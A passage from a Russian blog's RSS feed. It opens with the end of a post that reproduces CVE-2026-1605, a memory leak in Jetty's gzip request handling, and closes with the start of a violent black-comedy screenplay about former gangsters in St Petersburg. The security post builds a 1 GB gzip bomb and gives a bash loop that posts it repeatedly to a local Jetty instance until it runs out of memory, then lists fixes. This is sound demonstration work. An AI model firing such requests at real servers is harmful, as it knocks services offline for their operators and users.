            &lt;groupId&gt;org.eclipse.jetty&lt;/groupId&gt;
            &lt;artifactId&gt;jetty-server&lt;/artifactId&gt;
            &lt;version&gt;12.1.5&lt;/version&gt;
&lt;/dependency&gt;</pre>
  <p id="fl6X">Достаточно лишь изменить версию на исправленную и обновиться.</p>
  <p id="EzuM">Но на свете существует еще и такая зверская вещь как <a href="https://spring.io/" target="_blank">Spring Boot</a> — огромный современный фреймворк, который давно стал стандартом «де-факто» для всей бекэнд-разработки на Java.</p>
  <p id="Uv9F">Spring Boot активно использует Jetty в качестве одного из главных сервлет-контейнеров:</p>
  <figure id="914A" class="m_original">
    <img src="https://img1.teletype.in/files/49/0b/490b25a4-54ad-411d-b576-2eb2bbd0f041.png" width="761" />
    <figcaption>Обратите внимание на номер версии в зависимости Jetty, а ведь 4.0.2 совсем недавно считалась свежей и использовалась повсеместно.</figcaption>
  </figure>
  <p id="7Tqz">Версии Spring Boot с исправленным Jetty начинаются с <code>4.0.3</code>, но обновлять сам Spring Boot — то еще приключение.</p>
  <p id="oxZQ">Так что для многих весна станет очень тяжелой.</p>
  <h2 id="0Uaq">Демонстрация</h2>
  <p id="1HZ6">Описание уязвимости это конечно хорошо, но к сожалению серьезных дыр стало настолько много в последнее время, что глаз безопасника замылился — уже не реагирует на проблемы слабее RCE и статуса «Critical». </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DXyC">Так что было решено провести демонстрацию — собрать уязвимый стенд и попробовать его завалить.</p>
  </section>
  <p id="4vM0">Может хоть это заставит кого-то из читателей обновиться.</p>
  <h3 id="zVLu">Тестовое приложение</h3>
  <p id="aF2B">Поскольку Jetty это только сервлет-контейнер, HTTP-запросы все равно должны обрабатываться каким-нибудь конечным сервлетом.</p>
  <p id="xkzz"> Поэтому для проверки уязвимости был сотворен вот такой простейший сервлет:</p>
  <pre id="aDxP" data-lang="java">package com.Ox08.vuln.cve20261605;

import jakarta.servlet.ServletInputStream;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/*
    Простейший сервлет для демонстрации CVE-2026-1605
*/
@WebServlet(&quot;/yo&quot;)
public class TestServlet extends  HttpServlet {   
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        resp.setContentType(&quot;text/plain&quot;);
        PrintWriter out = resp.getWriter();
        out.printf(&quot;Request at: %d%n&quot;, System.currentTimeMillis());

        try (ServletInputStream in = req.getInputStream()) {
            // вызов чтения данных запустит распаковку запроса
            byte[] data = in.readAllBytes();
            out.printf(&quot;Request size: %d%n&quot;, data.length);
        }
    }
}</pre>
  <p id="QjDl">Все что делает код выше это лишь чтение тела POST-запроса и отдача двух строк как «plain text»: таймстампа запроса и размера полученных данных.</p>
  <blockquote id="cqPo">Тут нет ни сложной потоковой обработки, ни Mutipart-запросов — все гораздо проще, отчего и страшнее.</blockquote>
  <p id="clbM">Собрать можно любой средой разработки для Java, хоть что-то знающей о сервлетах, например в <a href="https://www.jetbrains.com/idea/" target="_blank">Intellij Idea</a>.</p>
  <h3 id="Hm9y">Тестовый Jetty</h3>
  <p id="pKtR">Помимо тестового приложения, необходима еще и уязвимая версия Jetty.</p>
  <p id="KOgI">Для чистоты эксперимента, была взята версия <code>12.1.5</code> , последняя в ветке 12.1.х до исправления, которую можно скачать <a href="https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/" target="_blank">тут</a>.</p>
  <p id="aQUd">Скачиваем и распаковываем:</p>
  <pre id="giLR" data-lang="bash">wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/jetty-home-12.1.5.zip
unzip jetty-home-12.1.5.zip</pre>
  <p id="Ioge">Следующим шагом необходимо подготовить рабочий каталог Jetty, поскольку с недавних пор сервер Jetty с библиотеками и скриптами отделен от рабочей области, в которой происходит развертывание веб-приложений: </p>
  <pre id="mTjD" data-lang="bash">mkdir jetty-work
cd jetty-work
export JETTY_HOME=../jetty-home-12.1.5</pre>
  <p id="mA5J">Включаем основные модули:</p>
  <pre id="EwXJ" data-lang="bash">java -jar $JETTY_HOME/start.jar --add-modules=server,http,ee11-deploy,ee11-jsp</pre>
  <p id="g3Kz">Включаем модуль gzip:</p>
  <pre id="CLO5" data-lang="bash">java -jar $JETTY_HOME/start.jar --add-modules=gzip</pre>
  <p id="BFxz">Тут стоит заметить, что модуль <code>gzip</code> начиная с версии 12.1.х помечен как «deprecated» т. е. устаревший, с предложением перехода на его замену — модуль <code>compression-gzip</code>.</p>
  <p id="qNhp">Но во-первых <s>это Jetty</s> непонятно как долго продлится такой переход, во-вторых более старую версию 12.0.х никто не отменял — ее поддержка точно продолжится минимум на этот год. </p>
  <blockquote id="n5FI">В третьих, в наш век погони за метриками и красивыми отчетами, в порядке вещей специально глушить сообщения об устаревании, как <a href="https://github.com/spring-projects/spring-boot/issues/47134" target="_blank">поступили</a> для примера парни из Spring.</blockquote>
  <p id="lpkB">После добавления, модуль gzip еще надо дополнительно настроить, для чего задаем следующие настройки в файле <code>$JETTY_HOME/start.d/gzip.ini</code>:</p>
  <pre id="geOJ">## Minimum content length after which gzip is enabled
jetty.gzip.minGzipSize=32

## Inflate request buffer size, or 0 for no request inflation
jetty.gzip.inflateBufferSize=4096

## Comma separated list of included HTTP methods
jetty.gzip.includedMethodList=GET,POST</pre>
  <p id="0lgM">Дополнительно я еще включил логирование через <a href="https://logback.qos.ch/" target="_blank">Logback</a>:</p>
  <pre id="YDpW" data-lang="bash">java -jar $JETTY_HOME/start.jar --add-modules=logging-logback</pre>
  <p id="9Z2a">Поскольку по какой-то причине стандартный JCL не хотел работать с сообщениями из модуля <code>gzip</code>.</p>
  <p id="cQAz">После добавления модуля, появится файл <code>resources/logback.xml</code> с настройками логирования по-умолчанию.</p>
  <p id="jpvX">Внутрь необходимо добавить строку:</p>
  <pre id="yYcW" data-lang="xml"> &lt;logger name=&quot;org.eclipse.jetty.server.handler.gzip&quot; level=&quot;DEBUG&quot; /&gt; </pre>
  <p id="bGLU">Копируем наше тестовое приложение <code>gziptest.war</code> в каталог <code>$JETTY_HOME/webapps</code> и наконец запускаем наш уязвимый Jetty:</p>
  <pre id="P8qh" data-lang="bash">java -jar $JETTY_HOME/start.jar </pre>
  <p id="80zs">Теперь переходим к формированию специального запроса-убийцы.</p>
  <h3 id="qc3V">Запрос-убийца</h3>
  <p id="Dbd4">Шатать так шатать, для демонстрации процесса была подготовлена классическая <a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/09-Test_Upload_of_Malicious_Files" target="_blank">ZIP-бомба</a> — огромный пустой файл, который будучи сжатым имеет смешные размеры, но при распаковке создает массу веселья.</p>
  <p id="MLYS">Так выглядит процесс создания:</p>
  <pre id="DyVq" data-lang="bash">dd if=/dev/zero of=./1g.bin bs=1G count=1
gzip ./1g.bin</pre>
  <p id="2zur">А так — сам скрипт «бомбометания»:</p>
  <pre id="WxJ6" data-lang="bash">#!/bin/bash
export TARGET=http://localhost:8080/gziptest/yo
for i in &#x60;seq 1 2000000&#x60;; do 
curl -v -s --data-binary @1g.bin.gz -H &quot;Content-Encoding: gzip&quot; $TARGET;
done</pre>
  <p id="WN2o">Он сознательно сделан максимально простым, без участия сети, без параллельных запросов и генерации контента — чтобы можно было показать быстрый рост используемой памяти — ту самую утечку.</p>
  <p id="IVjn">Запускаем и буквально после второго же запроса наблюдаем OOM: </p>
  <figure id="Jot6" class="m_original">
    <img src="https://img3.teletype.in/files/27/9d/279d7dd1-1cbd-4650-a52f-a968c0b7fed3.png" width="1012" />
    <figcaption>Эта ошибка - причина многих бессонных ночей, проведенных за отладкой и отловом причины.</figcaption>
  </figure>
  <h3 id="39eR">Про OutOfMemory</h3>
  <p id="VHoZ">Теперь наверное стоит сделать лирическое отступление и пояснить общественности саму проблематику ошибки OutOfMemoryError.</p>
  <p id="OBUc">Поведение приложения на Java при утечке памяти достаточно сильно отличается от аналогичного, например на Golang или C++. </p>
  <blockquote id="9zj6">Отличается отнюдь не в лучшую сторону.</blockquote>
  <p id="zFto">Если в аналогичной ситуации с утечкой памяти сервис на Golang просто и банально упадет, позволив отработать watchdog, то сервис, реализованный на Java и словивший OOM.. продолжит работать.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qUkx">Но только поведение сервиса станет <strong>непредсказуемым</strong>.</p>
  </section>
  <p id="6sVG">Какие-то запросы (если они помещаются в остатки памяти) продолжат отрабатывать и отдаваться пользователям, какие-то — начнут порождать ошибки.</p>
  <blockquote id="go94">Если использовался шаблонизатор страниц вроде JSP/JSF с частичной компиляцией и кешированием — то что попало в кеш до OOM продолжит работать, если использовался Thymeleaf или Freemaker то скорее всего все сразу сломается. </blockquote>
  <p id="f18O">Тоже самое с Hibernate ORM и запросами к СУБД — то что успело закешироваться продолжит работать и отдавать данные, то что нет — будет порождать самые разнообразные ошибки с удивительными трассировками, о которых не знает даже Google и нейросети. </p>
  <p id="u9YW">Появятся ошибки записи в файлы, ошибки чтения, ошибки транзакций — в Java (в обычных проектах) все это просто не рассчитано на работу при OOM.</p>
  <p id="6Usk">Думаю несложно догадаться, что при таких вводных даже реализация «сторожевого пса» (Watchdog) для сервиса на Java представляет проблему. </p>
  <p id="75ol">Доходит до того, что реализации watchdog вешают свои обработчики непосредственно на ошибку OutOfMemoryError, по которой убивают процесс и запускают заново.</p>
  <p id="1prI">Поэтому OOM для Java это что-то вроде Ахиллесовой пяты — мелкая ерунда, которая может убить великана. </p>
  <blockquote id="YmNy">Причем не сразу насмерть, а долго и мучительно.</blockquote>
  <p id="8EBs">Но вернемся к нашей проблеме.</p>
  <h2 id="ZRYW">Эпилог</h2>
  <p id="i0wV">Стоит только добавить заголовок <code>Accept-Encoding: gzip</code> к запросу и все замечательно работает:</p>
  <pre id="IfWo" data-lang="bash">export TARGET=http://localhost:8080/gziptest/yo
curl -v -s --data-binary @1g.xml.gz -H &quot;Content-Type: text/xml&quot; -H &quot;Accept-Encoding: gzip&quot; -H &quot;Content-Encoding: gzip&quot; $TARGET;</pre>
  <p id="drX7">Наш запрос-убийца сразу стал белым и пушистым — никаких OutOfMemory больше нет, ответы уходят, память очищается:</p>
  <figure id="mLOh" class="m_original">
    <img src="https://img4.teletype.in/files/bb/16/bb160f27-a52d-4dbb-aed6-8b2f4f951591.png" width="1012" />
    <figcaption>Собственно внутри GzipResponseAndCallback и происходило корректное освобождение ресурсов до исправления.</figcaption>
  </figure>
  <p id="4DdL">Напоследок покажу, как выглядит утечка в профайлере <a href="https://visualvm.github.io/" target="_blank">VisualVM</a>:</p>
  <figure id="F49P" class="m_original">
    <img src="https://img4.teletype.in/files/fb/aa/fbaa6419-72c0-4cc3-be4c-acb36cdfa360.png" width="1366" />
    <figcaption>Не так эпично, как на заглавной картинке, но тоже неплохо.</figcaption>
  </figure>
  <h2 id="GHq5">Рекомендации</h2>
  <p id="5vSz">Помимо традиционных «предохраняться», «перестать пить» и «сменить профессию» стоит порекомендовать хотя-бы иногда просматривать обзоры свежих уязвимостей, дабы оценить применимость к вашей собственной инфраструктуре.</p>
  <p id="hqEh">Что же касается конкретно <code>CVE-2026-1605</code>, есть несколько вариантов:</p>
  <ol id="kruM">
    <li id="n9dg"> Банальным образом обновиться до исправленных версий;</li>
    <li id="m4cs">Отключить проблемый модуль <code>gzip</code>, перенеся игры с сжатием на уровень Nginx, который обычно ставится перед Jetty;</li>
    <li id="KFwi">В случае Spring Boot добавить в конфигурацию:</li>
  </ol>
  <pre id="wbVE">server.compression.enabled=false</pre>
  <p id="jeFB">Что отключит поддержку сжатых запросов и ответов.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/awesome-weekend-spb-short-film</guid><link>https://blog.0x08.ru/awesome-weekend-spb-short-film?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/awesome-weekend-spb-short-film?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Веселые каникулы</title><pubDate>Sat, 07 Mar 2026 00:48:21 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/81/6a/816a8bfe-b259-4628-a438-a55584e6dd18.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/1b/fc/1bfc3eed-39e0-4b1f-a75f-1f85390f1b7d.jpeg"></img>Короткий метр.]]></description><content:encoded><![CDATA[
  <p id="eWCK">Короткий метр.</p>
  <p id="j827">Драма, черная комедия, Питер.</p>
  <blockquote id="jVP8">Визуальный стиль — нечто среднее между диснеевским мультиком и фильмами Тарантино. Ярко, но кроваво.</blockquote>
  <p id="WIC5">Успешный, состоятельный бизнесмен и семьянин, а в прошлом — отмороженный бандит и член ОПГ, вынужден бежать в Россию-матушку после долгой жизни заграницей, из-за санкций.  </p>
  <p id="nra7">Где придется столкнуться с бывшими коллегами по опасному делу, у которых накопились к нему серьезные вопросы.</p>
  <figure id="JgiW" class="m_column">
    <img src="https://img2.teletype.in/files/1b/fc/1bfc3eed-39e0-4b1f-a75f-1f85390f1b7d.jpeg" width="1200" />
  </figure>
  <p id="uq7t">Все действие происходит одним летним днем в Питере.</p>
  <h2 id="Imqz">1. НАТ. ПОДВОРОТНЯ. </h2>
  <p id="A321">Залитая кровью подворотня, повсюду следы побоища и раскиданы тела молодых туристов — парни и девушки, в разных интересных позах.</p>
  <p id="sbgq">Где-то вдали слышен детский смех, в соседнем дворе дети играют в футбол. За резной решеткой 19го века, закрывающей выход из двора — шум улицы, там ездят машины и ходят люди.</p>
  <p id="ct2V">У входа в подвальный бар «Дух девяностых» на ступеньках сидит едва живая, залитая кровью юная девушка (19). Мелко дрожит, плачет и прижимает руки к окровавленному животу. </p>
  <p id="zCo5">Ее совсем недавно пырнули ножом.</p>
  <p id="SLU6">Из бара поднимается крепкого вида мужчина (50) со спортивной сумкой через плечо. Одежда немного порвана и в грязи, на руках сбитые костяшки с содранной от свежих ударов кожей. </p>
  <p id="cH9Q">Замечает девушку и присаживается рядом.</p>
  <p id="bGDv">Какое-то время они просто сидят рядом, затем мужчина начинает говорить.</p>
  <p id="7dmM" data-align="center">АРТУР</p>
  <p id="uNPn">             Понимаю, не самый лучший момент для подобных вопросов..</p>
  <p id="V19m">(слышится глухой взрыв, из подвального помещения бара начинает валить черный дым)</p>
  <p id="Fsf1">             Но все же..</p>
  <p id="iNfX">             Вы успели.. побывать в Эрмитаже?              </p>
  <p id="9lU3">(камера медленно обводит залитый кровью двор и валяющиеся трупы)</p>
  <p id="aklP">             Там.. просто невероятно красиво!</p>
  <p id="QAR3"></p>
  <h2 id="08eG">2. ИНТ. МАШИНА В ДВИЖЕНИИ.</h2>
  <p id="2lLU">Салон представительского мерседеса. </p>
  <p id="LsdC">Пассажиры на заднем сидении — семейная пара, Михаил — муж, крепкий мужчина в дорогом костюме (50), Анна — жена, красивая ухоженная женщина (40), в дорогой одежде. </p>
  <p id="xShY" data-align="center">АННА</p>
  <p id="UFi1">(крутит в руке свежую, только вчера напечатанную визитку мужа, затем читает)</p>
  <p id="92c8">             SENIOR VICE PRESIDENT</p>
  <p id="IZO4">             FALCO INVESTMENTS LTD</p>
  <p id="FKK8">(смотрит на мужа с любовью и обожанием)</p>
  <p id="f46M">             Как же я рада, что вышла за тебя, Миша.</p>
  <p id="yIyR">             Все будет хорошо, ты обязательно справишься.</p>
  <p id="armg" data-align="center">МИХАИЛ</p>
  <p id="4epE">             Справлюсь.</p>
  <p id="eJd5">             Всегда справлялся.</p>
  <p id="rxpd" data-align="center">АННА             </p>
  <p id="VKrd">             Только пожалуйста не ходи.. Не ходи на эту встречу.</p>
  <p id="C8Ek">             Это страшные и жестокие люди..</p>
  <p id="A6lu">             Сердцем чую — быть беде.</p>
  <p id="lnES" data-align="center">МИХАИЛ</p>
  <p id="ef4H">(кладет ладонь поверх руки жены и успокаивает):</p>
  <p id="Pfez">             Все будет нормально, дорогая.</p>
  <p id="dLhD">             Девяностые давно прошли. Все успокоились.. </p>
  <p id="8gF0">(пауза) </p>
  <p id="fqgI">             ..кто выжил конечно. </p>
  <p id="kUDB">             Теперь у всех семьи, дети. Бизнес, в конце концов. </p>
  <p id="eEbd">             Все стало совсем по-другому, понимаешь?</p>
  <p id="JjGL">             Другая жизнь кругом.</p>
  <p id="LHtd">(кивает на строящийся за окном новый жилой комплекс)</p>
  <p id="g0wa">             Вон сколько всего понастроили!              </p>
  <p id="TTpU">(смотрит в даль, рассматривая детали)</p>
  <p id="3Ym2">             Даа..</p>
  <p id="rHrz">             Как же тут все изменилось..</p>
  <p id="x7p9">(показывает пальцем вдаль)</p>
  <p id="iDxl">             Вот тут. </p>
  <p id="J0z5">             Тут когда-то пустырь был.</p>
  <p id="xYMi">             Где Коляна зарезали..  </p>
  <p id="eGrn">             А теперь погляди: дома красивые, дети играют. Мамы с колясками.</p>
  <p id="mbHB">             Красота!</p>
  <p id="wTMO">(внезапно вспоминая, со смешком обращаясь к жене) </p>
  <p id="Phxz">             Шефа-то, шефа — помнишь?</p>
  <p id="jlEE">             Сказали артрит разбил, на старости лет. </p>
  <p id="Ofmq">             Передвигается теперь в инвалидном кресле, представляешь?</p>
  <p id="Utu1">(укоризненно)</p>
  <p id="F0FE">             А ты все боишься..</p>
  <p id="SpbH">             Не надо никого бояться.  </p>
  <p id="dBeq">             Эта встреча лишь формальность. </p>
  <p id="TkrO">             Может им самим теперь моя помощь нужна. </p>
  <p id="aJjq">(смотрит в окно на городской пейзаж)</p>
  <p id="m7nS">             С домом престарелых.</p>
  <p id="PzGL" data-align="center">АННА</p>
  <p id="WdBK">(успокаиваясь)</p>
  <p id="ivuI">             Только не засиживайтесь. </p>
  <p id="Pdbn">             Вечером у нас банкет. </p>
  <p id="kbqY">             Будет первый зам губернатора, с женой. Важные люди. </p>
  <p id="x8Xa">             Помнишь?</p>
  <p id="sIyr" data-align="center">МИХАИЛ</p>
  <p id="8thm">             Разумеется. </p>
  <p id="cg3Q">             Такую рожу забудешь. </p>
  <p id="PG3m">             Еще и ночью будет сниться.</p>
  <p id="A60B">             Со своими процентами.</p>
  <p id="hmyU">             Ладно.</p>
  <p id="wfEB">             Все будет быстро и.. четко, дорогая.</p>
  <p id="I45v">(Михаил шутливо отдает жене честь)</p>
  <p id="2FaD">             Артур уже наверное и забыл как дела делаются. </p>
  <p id="zJid">             Спился поди давно. </p>
  <p id="VxiX">             Или сторчался.</p>
  <p id="F1ur">             Жизнь тут никого не щадит. </p>
  <p id="VRZl">Начало второй сцены начинается с реплик выше.</p>
  <p id="BXvI"></p>
  <h2 id="L6uf">3. НАТ. УЛИЦА СТАРОГО ПИТЕРА.</h2>
  <p id="5jjK">Видим старого, крепкого мужчину в спортивном костюме (50), кепке и с большой спортивной сумкой. Лица не видно.</p>
  <p id="O7qh">Мужчина сворачивает в подворотню, видна старая вывеска: </p>
  <p id="cZGH">БАР «ДУХ ДЕВЯНОСТЫХ». ВОДКА, ТАНЦЫ, НОСТАЛЬГИЯ. РАБОТАЕМ ДО ПОСЛЕДНЕГО КЛИЕНТА.</p>
  <p id="66R7">Внутри оказывается небольшой уютный дворик, где в подвале одного из домов и расположен искомый кабак.</p>
  <p id="HRRN">Вниз ведут затертые ступеньки.</p>
  <p id="t0Zj">Кабак старый, с оформлением в стиле начала 90х. На стенах развешаны плакаты с героями боевиков, по радио играет попса тех времен. </p>
  <p id="5NaG">Под потолком медленно крутится старый вентилятор.</p>
  <p id="CLl3"></p>
  <h2 id="vyAT">4. ИНТ. БАР ДУХ ДЕВЯНОСТЫХ</h2>
  <p id="ecvD">Мужчина спускается вниз, заходит в заведение и окидывает взглядом пустое помещение.</p>
  <p id="nmXd" data-align="center">АРТУР           </p>
  <p id="xUUC">(втягивая носом воздух)</p>
  <p id="vZBa">             Даже воняет как в былые времена.</p>
  <p id="0WEu">(на распев)</p>
  <p id="bpx6">             Это все мое, родное!</p>
  <p id="QI10">(проходя к стойке)</p>
  <p id="fJba">             Как же давно я тут не был.</p>
  <p id="LVWB">Замечает бармена и подходит прямо к стойке. Кладет руки на стойку, наклоняется. Бармен — тощий тип с крысиной мордой вместо лица, неопределенного возраста. </p>
  <p id="M6KF">Медленно протирает стаканы и смотрит с нескрываемым презрением.</p>
  <p id="cax2">             Раньше тут был другой бармен..</p>
  <p id="iJws">             Ты видимо новенький? </p>
  <p id="dfvo" data-align="center">БАРМЕН</p>
  <p id="jbRf">(окидывает взглядом клиента, оценивая возраст и платежеспособность)</p>
  <p id="fJKp">             В очереди на погребение точно буду за вами. </p>
  <p id="sOel">             Чего изволите, уважаемый?</p>
  <p id="VCco" data-align="center">АРТУР</p>
  <p id="CBQv">(пристально смотрит на бармена)</p>
  <p id="Jaqv">             Кофею. </p>
  <p id="wf7r">             Американо, со сливками.</p>
  <p id="rTqW" data-align="center">БАРМЕН</p>
  <p id="RYSc">(гнусно ухмыляясь, огорченный что клиент не заказал дорогого алкоголя)</p>
  <p id="F1RT">             Что, в Шаббат не работаем, по субботам не пьем?</p>
  <p id="E2d7" data-align="center">АРТУР</p>
  <p id="2fTg">             Врачи-убийцы пить запретили.</p>
  <p id="KmQ8">             Но не переживай, сейчас друг подойдет. </p>
  <p id="MQn2">             Ему можно. </p>
  <p id="V7b5">(с ухмылкой)</p>
  <p id="kMN3">             Ему походу теперь все можно, без моральных терзаний и последствий для здоровья.</p>
  <p id="P71V">             Кассу заведению точно сделаем.</p>
  <p id="mfmp">             Устанете полы оттирать.</p>
  <p id="vpTu" data-align="center">БАРМЕН</p>
  <p id="yRrs">(какое-то время шарится под стойкой, затем хмуро выдает)</p>
  <p id="JEZG">             Сливок нет, только молоко. </p>
  <p id="w73P">             Сухое.</p>
  <p id="hmOb" data-align="center">АРТУР</p>
  <p id="mGJ2">             Ну кто бы сомневался.  </p>
  <p id="3S6E">             Неси что есть. </p>
  <p id="B0BX">             Сахару только не надо, я и так сладкий.</p>
  <p id="YPSa">(озираясь и окидывая взглядом помещение)</p>
  <p id="cLCY">             У меня с вашим заведением крепкая духовная связь и теплые воспоминания.</p>
  <p id="xPAf">(показывает на угловое место у окна)</p>
  <p id="HYp8">             Воон там когда-то давно меня били головой о стену. </p>
  <p id="ldjJ">             Так и приземлюсь, хорошо?  </p>
  <p id="hrZz">            </p>
  <p id="91wg" data-align="center">БАРМЕН</p>
  <p id="ZKeY">             Бомболюк только свой держите закрытым, будьте так любезны.</p>
  <p id="kcr6">             А то в вашем возрасте клапан уже не держит.</p>
  <p id="ijLB">Бармен уходит на кухню, готовить заказ. </p>
  <p id="k8pc">Артур направляется к столику.</p>
  <p id="mPSg">Столик крепкий, старый, с железной основой, прикрученной к стене и полу.  Чтоб можно было и сплясать и разбить лицо дорогого гостя о рабочую поверхность.</p>
  <p id="C9xR">Окинув взглядом зал и убедившись что больше никого нет, а бармен где-то далеко на кухне, Артур быстро раскрывает сумку, достает <a href="https://en.wikipedia.org/wiki/Heckler_%2526_Koch_MP5" target="_blank">Heckler &amp; Koch MP5</a>, привинчивает глушитель и спускается под столик.</p>
  <p id="G4Ez">Под столиком оказывается приделан специальный крепеж, старый и ржавый но крепкий. Камера показывает крупным планом старую наклейку из жвачки Turbo, приклеенную снизу стола.</p>
  <p id="QmJs">Артур взводит оружие, переключает на стрельбу очередями и крепит оружие под столом. Садится за столик, проверяет расположение оружия и цели — делает все это явно не первый раз.</p>
  <p id="NG5y">Убедившись что все хорошо, наконец успокаивается.</p>
  <p id="S7ul">Смотрит на кусочек неба видный в маленьком окне под потолком — кабак расположен в подвале.</p>
  <h2 id="MVFA">5. НАТ. У ВХОДА В БАР</h2>
  <p id="CYGN">Камера показывает тот самый кусочек неба, но уже без рамки окна -тот же угол съемки. Затем опускается вниз, к основной сцене.</p>
  <p id="1voq">У входа в подворотню, где расположен кабак «Дух девяностых» останавливается тот самый представительский мерседес, на аренду которого ушла половина бюджета. </p>
  <p id="nvzM">Открывается задняя дверь и из машины выходит Михаил.</p>
  <p id="FEYZ">Используется параллельный монтаж, во время диалога Михаила с женой показываются манипуляции с автоматом.</p>
  <p id="DWZt" data-align="center">МИХАИЛ</p>
  <p id="vnjZ">(обращаясь к жене, которая осталась в машине)</p>
  <p id="qF1z">             Дорогая все будет нормально, я быстро.  </p>
  <p id="YRuJ">             Сходи пока с детьми в театр.</p>
  <p id="j9rT">             В какой?</p>
  <p id="oF0o">             Ну.. В какой-нибудь. </p>
  <p id="2k8j">             Это же Питер, дорогая. Тут культуры  — завались. </p>
  <p id="0Hnw">             В кого не пальни — обязательно попадешь в режиссера или еще кого культурного.</p>
  <p id="gHwY">             Конечно шучу, что ты.</p>
  <p id="aqE9">             Нету у меня никакого оружия при себе, госспади..  </p>
  <p id="utMp">             Я деловой человек!</p>
  <p id="tEBD">             Тоже люблю тебя.</p>
  <p id="E0dy">             Езжай с спокойной душой, все будет нормально.</p>
  <p id="pBhM">             Хорошо провести время.</p>
  <p id="jov4">(закрывает дверь, дает знак водителю уезжать, машина уезжает)</p>
  <p id="ZS35">В камеру:</p>
  <p id="ynCM">             Ну что, пришло время поработать.</p>
  <p id="XyGo">Михаил разворачивается и в хорошем настроении, с улыбкой идет по направлению к кабаку. </p>
  <h2 id="vW0e">6. ИНТ. БАР. СТОЛИК АРТУРА</h2>
  <p id="fGKB">Бармен с типичным для Питера выражением лица из смеси брезгливости и презрения несет кофе. Кофе хреново приготовлен, остыл еще и залит сверх всякой меры молоком. </p>
  <p id="w3Ji">Артур смотрит на все это, морщится и обращается к бармену.</p>
  <p id="fAW2" data-align="center">АРТУР</p>
  <p id="t06E">             Хочешь расскажу, почему всегда заказываю только Американо?</p>
  <p id="BvwV" data-align="center">БАРМЕН</p>
  <p id="CaDg">             Потому что в вашем сельпо другого не наливают?</p>
  <p id="c58y" data-align="center">АРТУР</p>
  <p id="DXPH">(укоризненно)</p>
  <p id="GiSS">             Не стоит хамить взрослым и незнакомым людям. </p>
  <p id="Fo4k">             Говорят, плохая примета.</p>
  <p id="LS7h" data-align="center">БАРМЕН</p>
  <p id="tjii">             Какой чек такой и сервис, уважаемый. </p>
  <p id="jFIr">             Хорошее отношение к клиенту начинается с третьей стопки. </p>
  <p id="RCAB">Бармен разворачивается и собирается уходить.</p>
  <h2 id="595h">7. ИНТ. БАР. ВХОД</h2>
  <p id="SJbh">На лестнице, ведущей вниз, раздаются цокающие шаги и в мрачный, подвальный кабак «Дух девяностых», заходит статный мужчина в дорогом костюме и лакированных туфлях — бизнесмен Михаил. </p>
  <p id="M0SB">В далеком прошлом —  «Мишаня Козырной».</p>
  <p id="1Y4f">На веселую молодость намекают теперь лишь старые татуировки на пальцах. Европейские менты и кредиторы все равно не читают по-русски.</p>
  <p id="x5oM">Бармен замечает гостя, оценив дорогой костюм его лицо расплывается в широкой улыбке. </p>
  <p id="qWnA">Немедленно подрывается к богатому гостю.</p>
  <p id="QB2e" data-align="center">БАРМЕН</p>
  <p id="3Ci4">             Рады приветствовать первого приличного человека в нашем заведении! </p>
  <p id="Mttq">             Чего изволите?</p>
  <p id="Ds1U" data-align="center">МИХАИЛ</p>
  <p id="XDey">(окинув зал взглядом, равнодушно)</p>
  <p id="e94k">             Меня ожидают.</p>
  <p id="pSfF">Замечает Артура и направляется к нему, бармен следует за ним по пятам. Подходят к столику. </p>
  <p id="HLAN">Артур лишь молча смотрит, не предлагает сесть, не тянет руку. Наконец молчание прерывается.</p>
  <p id="R5U8" data-align="center">АРТУР </p>
  <p id="6WSF">(обращаясь к бармену)</p>
  <p id="m1om">             Иди погуляй. </p>
  <p id="w8el">             Взрослым дядям надо поговорить.</p>
  <p id="XM5h" data-align="center">МИХАИЛ </p>
  <p id="elVY">(поворачивается к бармену и показав идеальную белозубую улыбку дает знак отойти)</p>
  <p id="lla7">             Вас не затруднит? </p>
  <p id="81Hc">             Мы чуть попозже позовем. </p>
  <p id="cgtV"></p>
  <p id="mVhQ">Бармен с поклоном удаляется. Михаил молча садится за столик, точно напротив Артура. Спрятанный под столом автомат он не замечает.</p>
  <p id="ZtDY">Какое-то время они просто сидят, уставившись друг на друга, в напряжении.</p>
  <p id="mz4B" data-align="center">АРТУР</p>
  <p id="F1dp">             Ну здравствуй..</p>
  <p id="hxPF">(пауза)</p>
  <p id="fS7H">             .. друг.</p>
  <h2 id="ycuE">8. ИНТ. БАР. ВХОД</h2>
  <p id="619U">Внезапно в кабак с шумом вваливается группа туристов. Молодые парни и девушки (19-22), студенты, приехавшие в летний Питер на каникулы. </p>
  <p id="ziJH">Молодые необремененные интеллектом лица, дурацкая одежда и полное непонимание опасности ситуации.</p>
  <p id="fOJ8">Пятеро. </p>
  <p id="Um07" data-align="center">ЛИЗА</p>
  <p id="mOpa">Одета в оверсайз, на шее старый пленочный фотоаппарат, носит круглые очки.</p>
  <p id="tyuW">(обводя взглядом помещение)</p>
  <p id="PWgK">             Вау! Какой винтаж! </p>
  <p id="Kq5N">             Как же тут все ау.. ау... аутенистично! </p>
  <p id="S6hN">(подбегает к стене, увешанной плакатами из 90х, начинает разглядывать и фотографировать)</p>
  <p id="6kZA" data-align="center">МАКС</p>
  <p id="uLQv">Красив, высок и подкачан. Одет в майку-алкоголичку, на шее фальшивая золотая цепь как у рэперов. Мажор.</p>
  <p id="tQPs">             Ну да, это просто старый подвал. </p>
  <p id="n0lL">             Ничего такого. </p>
  <p id="pxbv">             Но даже в этой дыре я готов засадить своей королеве.</p>
